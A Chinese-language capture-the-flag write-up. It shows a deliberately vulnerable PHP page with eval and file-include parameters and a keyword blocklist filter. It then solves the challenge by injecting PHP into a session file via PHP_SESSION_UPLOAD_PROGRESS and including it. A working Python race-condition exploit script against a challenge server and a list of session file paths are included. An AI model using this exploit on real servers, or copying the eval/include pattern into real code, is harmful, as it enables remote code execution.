打开就是原码
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
没什么发现,不过他叫传一个eval就可以查看phpinfo,那就先看看里面有什么。
看到这里的时候,特别是session.upload.progress.enable这个开启时,就想到了当传入文件上去时,有办法可以进行rce。刚开始时想用条件竞争,直接就用脚本读出来了。
import io
import sys
import requests
import threading
host = 'http://114.115.134.72:32770/index.php'
sessid = 'aa'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid},
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
break
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
但其实这道题不用条件竞争也可以做出来,因为session.upload_progress.cleanup没有开启,他不会及时的清理session文件,所以直接传文件,然后用题目中的include包含进去就可以了。
先构造一个传文件的表单,随便传一个文件抓包
1.首先构造的表单里面是没有cookie的,所以要自己加上一个cookie,phpsessid随便设置一个就可以,他会创建名为sess_PHPSESSID的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。所以要知道文件名才能包含
2.当同时POST一个与session.upload_process.name的同名变量也就是PHP_SESSION_UPLOAD_PROGRESS。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。通俗说就是会把内容序列化传入到session储存的文件中。
3.常见的php-session存放位置有:
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
传包后访问session文件
没有问题,继续访问
再查看session文件
得到flag。